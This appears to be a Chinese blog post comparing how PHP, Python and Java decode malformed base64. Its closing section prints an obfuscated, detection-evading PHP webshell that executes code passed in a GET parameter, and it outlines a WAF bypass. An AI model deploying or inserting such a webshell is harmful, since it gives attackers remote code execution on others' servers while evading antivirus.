绪论
今天在学长给我的一道题中,我得知了一个我理当知道,却没有仔细去思考过的有趣想象
—— 不同计算机语言对同一编码的处理方式,理应有所差别
base64格式
⼤⼩写英⽂, 数字, +, =, / 组成⼀个base64
例⼦⼀:
字符串: aaa!~~!aa123g
base64: YWFhIX5+IWFhMTIzZw==
例⼦⼆:
字符串: aaa!~~!aa123gfG{}:”>?dddff
base64: YWFhIX5+IWFhMTIzZ2ZHe306Ij4/ZGRkZmY=
php对base64的处理
弱类型语言几乎都对各种“小错误”有着很强的容忍性,这其中就包括php和python
但这种容忍性在对base64的处理上,体现出明显的差距
例子: abcdef
base64: YWJjZGVm
<?php
$a = "abcdef";
$b = base64_encode($a);
echo $b."\n";
echo base64_decode($b)."\n";
echo base64_decode("YWJjZGVm");
这时处理时正常的
php对“错误”的处理
当故意输入许多的乱码时
echo base64_decode("YWJ~~~jZG`Vm");
base64被正常的解码
字符串: a
base64: YQ==
php_1:
base64: ----Y|Q==
解码为: a
解码情况: 成功
php_2:
base64: ^Y-|]--[Q-=)=
解码为: a
解码情况: 成功
php_3:
base64: 来Y测Q=试=啊
解码为: a
解码情况: 成功
php_4:
base64: YQ==Yg==
解码为: 第⼀个YQ==成功解码,第⼆个YQ==会解析成乱码
解码情况: YQ==会解析为a, Yg==会解析为乱码, YQ==遇到=号了解析完毕以后后⾯的base64都
会乱码
可以看出php对这些错误有着很高的容忍程度,只要没有破坏base64的规则,基本不会出现什么问题
python对base64的处理
python对”错误”的容忍就明显不如php了,虽然python中base64解码函数号称时最强的
例如:
字符串: a
base64: YQ==
python_1:
base64: ----Y|Q==
解码为: a
解码情况: 成功
python_2:
base64: ^Y-|]--[Q-=)=
解码为: a
解码情况: 成功
python_3:
base64: 来Y测Q=试=啊
解码为: ⽆法解
解码情况: 失败,遇到中⽂会直接爆
ValueError: string argument should contain only ASCII characters
错误
python_4:
base64: YQ==Yg==
解码为: 第⼀个YQ==成功解码,第⼆个YQ==直接过滤
解码情况: YQ==会解析为a, python遇到了=号以后就等于结束了,=号后⾯的内容全部会⾃动过滤
掉不解析
由上可知,php遇到中文也不会有事,而python遇中文报错
还有一点,python对base64的字节数有着严格的限制,如果可编码的字节数不对,将会直接报错
比如:
import base64
res = base64.b64decode("YWFhIX5+IWFhMTIzZw==")
print(res)
虽然可以随意的添加不影响格式的特殊字符,但如果删掉一个等号,就会立刻报错
即python的base64虽然不被干扰,但是它解码的字节必须与正常的base64一致,否则报错,而php无此限制
java对base64的处理
java时强类型语言,显然不能随心所欲的写base64,但仍然有个操作
即java可以同时解析多个base64并将其解析拼接
字符串: a
base64: YQ==
java:
base64: YQ==Yg==
解码为: ab
php:
base64: YQ==Yg==
解码为: YQ==会解析为a, Yg==会解析为乱码
技巧的利用
免杀马
正如我看的那篇文章所说,这个技巧最大的用途,就是写免杀马,市面上许多免杀都是基于对文件内容的检测(危险函数,语法),而将代码通过base64加密并混淆,可以起到免杀的作用
这里直接上文章里写的马
<?php
$base64_decode_str = 'edoced_46esab';
$base64_decode = strrev($base64_decode_str);
// get_defined_vars 的 base64
$parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';
$parameter = $base64_decode($parameter_base64);
// assert 的 base64
$assert_base64 = '<>-Y|X_N@z!Z\X]J[0:.::::';
$asser = $base64_decode($assert_base64);
// 利⽤
$asser($parameter()['_GET'][1]);
?>
利⽤⽅法: http://127.0.0.1/test.php?1=phpinfo();
waf绕过
除免杀马外,该技巧还可以用于绕过waf
例如一个用php写的网站A,但他用了用Python写的waf B,这时如果A发送base64给B,B解码处理,我们就可以通过对base64的操作绕过waf B
实例不便展示
鸣谢:
《各语言base64解码的神奇之处》